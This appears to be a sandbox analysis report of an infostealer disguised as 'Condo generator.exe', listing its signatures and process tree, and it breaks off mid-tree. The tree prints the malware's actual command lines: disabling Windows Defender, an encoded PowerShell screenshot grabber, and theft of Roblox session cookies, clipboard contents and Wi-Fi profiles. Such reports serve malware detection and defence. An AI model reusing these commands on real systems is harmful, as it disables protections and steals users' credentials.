Analysis

  • max time kernel
    92s
  • max time network
    97s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    16-11-2024 18:49

General

  • Target

    Condo generator.exe

  • Size

    15.0MB

  • MD5

    9b4f30c8171b1ed05efbd39090f83ca3

  • SHA1

    a9754ed60a1a72bd21c9d4ab86cfdd450918c820

  • SHA256

    86a3edf01329f734d35dbd4e263228b728bc4bcee07c795953ee27e2ea70d0dd

  • SHA512

    5fb08c71f2da738fc26b45e1c7fa8227896f024a9a8bc49d0c31ad96fa9248e019eb0d78aea637fa6d9fe143b86dc3dc0b8188c1daa7ce64a87fe7e3674263cc

  • SSDEEP

    196608:myHYrwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jh:VIHziK1piXLGVE4Ue0VJN

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Condo generator.exe
    "C:\Users\Admin\AppData\Local\Temp\Condo generator.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Users\Admin\AppData\Local\Temp\Condo generator.exe
      "C:\Users\Admin\AppData\Local\Temp\Condo generator.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Condo generator.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Condo generator.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2800
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2496
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your condo has been loaded.', 0, 'Condo generator.exe', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3116
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your condo has been loaded.', 0, 'Condo generator.exe', 48+16);close()"
          4⤵
            PID:3356
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3092
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2848
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:436
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2544
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3464
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:2196
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:764
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:2868
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2912
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:2296
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3844
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:3536
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‎‎ .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2100
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‎‎ .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1116
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3204
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:5100
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4808
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:3372
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:3752
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:4944
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                  • Clipboard Data
                  PID:1872
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Clipboard Data
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3788
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:3488
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:4628
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:1632
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:2088
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:4720
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profile
                          4⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          PID:1016
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "systeminfo"
                        3⤵
                          PID:4844
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            4⤵
                            • Gathers system information
                            PID:3324
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                          3⤵
                            PID:4268
                            • C:\Windows\system32\reg.exe
                              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                              4⤵
                                PID:4084
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                              3⤵
                                PID:1040
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2164
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vlnlvhgw\vlnlvhgw.cmdline"
                                    5⤵
                                      PID:1332
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7BE7.tmp" "c:\Users\Admin\AppData\Local\Temp\vlnlvhgw\CSCB5A020DB863D471F98D38785CBA14252.TMP"
                                        6⤵
                                          PID:3448
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    3⤵
                                      PID:3088
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        4⤵
                                          PID:2384
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                        3⤵
                                          PID:3148
                                          • C:\Windows\system32\attrib.exe
                                            attrib -r C:\Windows\System32\drivers\etc\hosts
                                            4⤵
                                            • Drops file in Drivers directory
                                            • Views/modifies file attributes
                                            PID:3196
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          3⤵
                                            PID:4800
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              4⤵
                                                PID:2912
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:4060
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                3⤵
                                                  PID:1860
                                                  • C:\Windows\system32\attrib.exe
                                                    attrib +r C:\Windows\System32\drivers\etc\hosts
                                                    4⤵
                                                    • Drops file in Drivers directory
                                                    • Views/modifies file attributes
                                                    PID:2784
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:960
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:4468
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                      3⤵
                                                        PID:3608
                                                        • C:\Windows\system32\tasklist.exe
                                                          tasklist /FO LIST
                                                          4⤵
                                                          • Enumerates processes with tasklist
                                                          PID:4288
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:1232
                                                          • C:\Windows\system32\tree.com
                                                            tree /A /F
                                                            4⤵
                                                              PID:4536
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                            3⤵
                                                              PID:776
                                                              • C:\Windows\system32\tree.com
                                                                tree /A /F
                                                                4⤵
                                                                  PID:3784
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:2868
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:2716
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                  3⤵
                                                                    PID:3736
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                      4⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:3788
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "getmac"
                                                                    3⤵
                                                                      PID:704
                                                                      • C:\Windows\system32\getmac.exe
                                                                        getmac
                                                                        4⤵
                                                                          PID:1704
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI27082\rar.exe a -r -hp"blank1234" "C:\Users\Admin\AppData\Local\Temp\78Z5f.zip" *"
                                                                        3⤵
                                                                          PID:1592
                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI27082\rar.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\_MEI27082\rar.exe a -r -hp"blank1234" "C:\Users\Admin\AppData\Local\Temp\78Z5f.zip" *
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            PID:4572
                                                                        • C:\Windows\system32\cmd.exe
